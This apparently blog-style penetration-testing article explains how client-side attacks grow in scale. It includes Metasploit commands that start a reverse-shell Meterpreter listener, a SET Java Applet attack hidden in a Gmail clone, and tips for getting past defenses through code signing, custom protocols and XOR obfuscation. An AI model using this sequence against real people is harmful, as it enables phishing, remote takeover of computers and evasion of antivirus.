Industrializing Client Side Attacks


Cybercrime has evolved into an industry whose value in fraud and stolen property exceeded one trillion dollars in 2009. By contrast, in 2007, professional hacking represented a multibillion-dollar industry. What explains this rapid growth? Industrialization. Just as the Industrial Revolution advanced methods and accelerated assembly from single to mass production in the 19th century, today’s cybercrime industry has similarly transformed and automated itself to improve efficiency, scalability, and profitability.

The industrialization of hacking coincides with a critical shift in focus. Previously, hackers concentrated attacks on breaking perimeter defences. But today, the goal has changed. The objective is no longer perimeter penetration and defense. Today’s hacker is intent on seizing control of data and the applications that move this data. This is why attacks against Web applications constitute more than 60 percent of total attack attempts observed on the Internet.

Today's Hacking Scene

Today’s complex hacking operation now utilizes teamwork, global coordination, and sophisticated criminal techniques designed to elude detection. In recent years, a clear definition of roles and responsibilities has developed within the hacking community forming a supply chain that resembles that of a drug cartel. Additionally, the machine of choice is the botnet – armies of unknowingly enlisted computers controlled by hackers. Modern botnets scan and probe the Web seeking to exploit vulnerabilities and extract valuable data, conduct brute force password attacks, disseminate spam, distribute malware, and manipulate search engine results. These botnets operate with the same comprehensiveness and efficiency used by Google spiders to index websites. Researchers estimate that some 14 million computers have already been enslaved by botnets.

Improvements in automated and formalized attack tools and services have introduced a new set of security problems for businesses.  Of the top 10 data breaches in 2009, half involved stolen laptops, while the other half involved Web and database assaults.

Client side attacks are on the rise

Client-side vulnerabilities are among the biggest threats facing users, nowadays's there has been a slight shift to the client side because server-side applications have been targets for attackers since 2001, and these applications have matured somewhat. Attackers are also going after weaknesses in desktop applications such as browsers, media players, common office applications and e-mail clients. The remedy is to maintain the most current application patch levels, keep antivirus software updated and seek and remove unauthorized applications.

Understanding client side attacks

In order to understand client-side attacks, let us briefly describe server-side attacks that we can contrast to client-side attacks. Servers expose services that clients can interact with. These services are accessible to clients that would like to make use of these services. As a server exposes services, it exposes potential vulnerabilities that can be attacked. Merely running a server puts oneself at risk, because a hacker can initiate an attack on the server at any time.

Client-side attacks are quite different. These are attacks that target vulnerabilities in client applications that interact with a malicious server or process malicious data. Here, the client initiates the connection that could result in an attack. If a client does not interact with a server, it is not at risk, because it doesn’t process any potentially harmful data sent from the server.

A typical example of a client-side attack is a malicious web page targeting a specific browser vulnerability that, if the attack is successful, would give the malicious server complete control of the client system. Client-side attacks are not limited to the web setting, but can occur on any client/server pairs, for example e-mail, FTP, instant messenging, multimedia streaming, etc.

Clients are only protected in environments where access from internal clients to servers on the Internet is restricted via traditional defenses like firewalls or proxies. However, a firewall, unless combined with other technologies such as IPS, only restricts network traffic; once the traffic is permitted, a client interacting with a server is at risk. More advanced corporate server filtering solutions are available, but typically these only protect limited set of client technologies.

Drop-ing the payload

There are various way an a attacker can drop her payload to the targeted workstation or laptop, some of them are listed below:
  1. Through clicking evil links hiding malicious payloads hold on a malicious server controlled by the attacker.
  2. Through vulnerable web servers by either compromising them or exploiting vulnerabilities on them.
  3. Through Man In The Middle attacks.
  4. Through phishing e-mails also holding malicious payloads.
  5. Through various other attacks that are out of the scope of this article.
The following image shows one of the most popular ways to "seduce" a user into clicking on a malicious web site:

Note: This is an old fashioned attack approach, very well replicated by the penetration testing community during hacking attack. Of course social engineering is also used through out that process.

The actual attack simplified 

All you need to perform this type of attack is the Social Engineering Toolkit (SET) and Metasploit, well not exactly, that is not true if you are targeting high profile targets. But first lets explain the simplified version of the attack. In order the perform client side attack to a user that is NOT protected by some serious hardening such as a reverse SSL proxy with content inspection features and a firewall with proper egress filtering then the tools mentioned above will do the job. By using the tools described above the following steps have to be taken:
  1. Set up a listener bind to a public IP or DNS name.
  2. Demonize the listener. 
  3. Research the victims laptop software and hardware. 
  4. Social engineer the user to download and execute it to her laptop.
  5. Use proper payloads for post exploiting the victim.
Note:  Again this is a simplified attack sequence and is not going to work in a laptop or workstation that is hardened and the user is not allowed to install software.

Setting up the listener

So after we successfully generate the desired payload,using SET, and verify that it is a valid payload, by issuing the commands listed below we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:
  1. cd /pentest/exploits/framework3
  2. ./msfconsole 
  3. msf > use exploit/multi/handler
  4. msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
  5. msf exploit(handler)> set LHOST publicIP
  6. msf exploit(handler)> set LPORT 123
  7. msf exploit(handler)> exploit -j
Note:  The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Generating the payload and setting up the clone

SET is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the http://www.social-engineer.org launch and has quickly became a standard tool in a penetration testers arsenal. SET has a feature called “set-automate” which will take an answer file as an input and enter the commands in the menu mode for you. So for example if I wanted to do the Java Applet I would create a file with the following text:


https://gmail.com no

Now lets name the file mySET.txt, the command that will execute a java applet attack would be:

root@bt:/pentest/exploits/set# ./set-automate mySET.txt 

Note: The described configuration will launch a multiple web-based attack from SET using the Java Applet attack method by embedding a malicious Java Applet to a gmail clone. SET will also launch the listener but it would better if you do it manually.

After a successful compromise

If the victim is properly social engineered and execute the payload then the meterpreter agent will launch back a remote shell connection. The Meterpreter (short for Meta Interpreter) payload will give an attacker a presence in memory only payload, and reduce the attackers need to touch disk to zero. Metasploit will upload a DLL (Meterpreter) to the remote host; the uploaded DLL will be stored in the compromised processes heap. Meterpreter once loaded offers the attacker a plethora of options.

Once Meterpreter’s staged shellcode has been executed and Meterpreter has been loaded, communication begins. Meterpreter’s communication and extensibility are what makes it so valuable to an advanced attacker. For the purposes of this article think about the attacker as the client, and the victim as the server.Meterpreter uses a protocol called Type Length Value (TLV).

Why the above methods wont work on a corporate environment

When referring to a hardened corporate environment a set of prevention technologies is used to protect the user workstations such as anti-virus software, endpoint security software with personal firewall, web gateways performing deep content inspection to non-encrypted connections, reverse SSL proxies filtering all SSL connections that validate certificates and finally IDS/IPS devices are also included. So the reason an amateur will fill is:
  1. Many advanced payloads do not work very well running in x86-64 (Windows).
  2. Very restrictive inbound and outbound firewall rules are applied.
  3. Proxy authentication is required for outgoing connections.
Note:  These are not the only reasons just the most basic.

Bypassing defenses

There are numerous techniques defeating all defenses mentioned above some of them are:
  1. Code signing certificate for the payload (e.g. for the Meterpreter executable or the Meterpreter malicious Java Applet).
  2. A SSL certificate from a trustworthy Certificate Authority, for the payload communication protocol.
  3. Use costume communication protocol instead of the one used by the Meterpreter since you don't want to be detected and blocked because you’re mimicking the behavior of a well-known hacking tool.The Metasploit meterpreter reverse_http(s) payload contains the string "Meterpreter" on the User-Agent variable.
  4.  Create a custom payload or add your own evasion techniques, this way almost any signature detection system can be bypassed.
  5. Avoid process dll injection while delivering the payload. The latest versions of windows enforce session separation so some of the methods may not work on the latest version of windows like windows 7/8.
Why code signing is not secure

Code signing can provide several valuable features. The most common use of code signing is to provide security when deploying; in some programming languages, it can also be used to help prevent namespace conflicts. Almost every code signing implementation will provide some sort of digital signature mechanism to verify the identity of the author or build system, and a checksum to verify that the object has not been modified. It can also be used to provide versioning information about an object or to store other meta data about an object.

Many code signing implementations will provide a way to sign the code using a system involving a pair of keys, one public and one private, similar to the process employed by SSL or SSH. For example, in the case of .NET, the developer uses a private key to sign their libraries or executables each time they build. This key will be unique to a developer or group or sometimes per application or object. The developer can either generate this key on their own or obtain one from a trusted certificate authority (CA).Of course it is not so difficult to sign a malicious code, unauthorized digital certificates have been found that chain up to a Microsoft sub-certification authority issued under the Microsoft Root Authority that can be used to sign malicious code.

More specifically components of the Flame malware were found to be signed with a certificate that chained up to the Microsoft Enforced Licensing Intermediate PCA certificate authority, and ultimately, to the Microsoft Root Authority. This code-signing certificate came by way of the Terminal Server Licensing Service that operate to issue certificates to customers for ancillary PKI-based functions in their enterprise. Such a certificate could (without this update being applied) also allow attackers to sign code that validates as having been produced by Microsoft.

Why valid certificates are not secure

Obtaining a valid certificate and using it with SET is easy. The fact that this is easy can be verified by numerous web site reporting compromised certificates, one of them is this one:
This is an extract from the web site with a long list of compromised certificates: "The following is a list of digital certificates that have been reported by the forum as possibly being associated with malware to various certificate authorities. This information is intended to help prevent companies from using digital certificates to add legitimacy to malware and encourage prompt revocation of such certificates." 

Obfuscating Meterpreter

It is really easy to obfuscate Meterpreter,  in the following post http://spareclockcycles.org/tag/meterpreter/ the person that owns the blog explains that he/she managed to obfuscate the Meterpreter by writing a XOR program in python. The following extract is from the blog:

"What surprised me during all of this was how ridiculously easy it is to do just that. About 60 lines of Python (I know, way too many) and 20 lines of C was all it took to take my detection rate from 40% to 1% (32 bit version / 64 bit version). The Python code largely is just to automate things, but it also made the XOR crypting easier and allowed me to more easily embed arbitrary executables in my code (which is useful in embedding other, non-metasploit payloads)."


The drop-ing payload is a very important part of a social engineering attack. If you are doing all the other stages like a professional but use an average payload you won't get the great results you expect. Client-side attacks and social engineering should be included in every penetration testing engagement, if you are not testing for social engineering attacks a very significant attack vector that real hackers use will be skipped.     

  1. http://www.scmagazine.com/what-ceos-should-know-about-advanced-persistent-threats-and-industrialized-hacking/article/168534/
  2. http://www.google.ie/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CDQQFjAD&url=http%3A%2F%2Fwww.imperva.com%2Fdocs%2FWP_Industrialization_of_Hacking.pdf&ei=4INLUOmvNIW2hQfoyoHACA&usg=AFQjCNGK3zxXrOHOIf829XOEPI78FFWcjw&sig2=VzVIvZmXY8--Vwp3ACm9aw&cad=rja
  3. http://www.honeynet.org/
  4. http://www.networkworld.com/news/2007/112807-client-side-attacks-rise.html
  5. http://blog.spiderlabs.com/2012/08/client-side-payload-the-brazilian-way.html
  6. http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29
  7. http://securityxploded.com/dll-injection-and-hooking.php
  8. http://en.wikipedia.org/wiki/Code_signing
  9. http://blogs.technet.com/b/srd/archive/2012/06/03/microsoft-certification-authority-signing-certificates-added-to-the-untrusted-certificate-store.aspx
  10. http://spareclockcycles.org/tag/meterpreter/